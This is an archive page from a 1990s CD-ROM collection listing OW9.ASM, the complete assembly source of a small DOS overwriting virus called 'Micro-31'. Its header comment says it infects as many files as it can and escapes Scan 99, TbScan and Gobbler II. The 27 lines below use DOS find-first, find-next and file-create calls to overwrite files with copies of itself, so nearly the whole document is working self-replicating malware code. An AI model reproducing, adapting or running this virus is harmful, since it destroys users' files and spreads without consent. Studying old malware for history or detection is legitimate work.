home *** CD-ROM | disk | FTP | other *** search
/ HPAVC / HPAVC CD-ROM.iso / pc / O.ZIP / OW9.ZIP / OW9.ASM next >
Encoding:
Assembly Source File  |  1995-05-23  |  709 b   |  27 lines

  1. ;
  2. ; Micro-31
  3. ;
  4. ; Infects as many files as there are handles aveable. It creates 158 byte
  5. ; file containing a replicating copy of the virus. The effective program
  6. ; length however is only 31 bytes. It can't be detected by Scan 99, TbScan
  7. ; and Gobbler II.
  8. ;
  9.  
  10. FNAM            Equ 09eh
  11.  
  12. Main:           Mov Ah,4eh
  13. Seek:           Lea Dx,FileSpec
  14.                 Xor Cx,Cx
  15.                 Int 21h
  16. Do:             Mov Ah,3ch
  17.                 Lea Dx,FNAM
  18. On2:            Int 21h
  19. FileSpec        Db '*.*',0
  20.                 Xchg Dx,Cx
  21.                 Mov Bh,40h
  22.                 Xchg Ax,Bx
  23.                 Int 21h
  24.                 Mov Ah,4fh
  25.                 Jmp Seek
  26. Length          Equ $-Main
  27.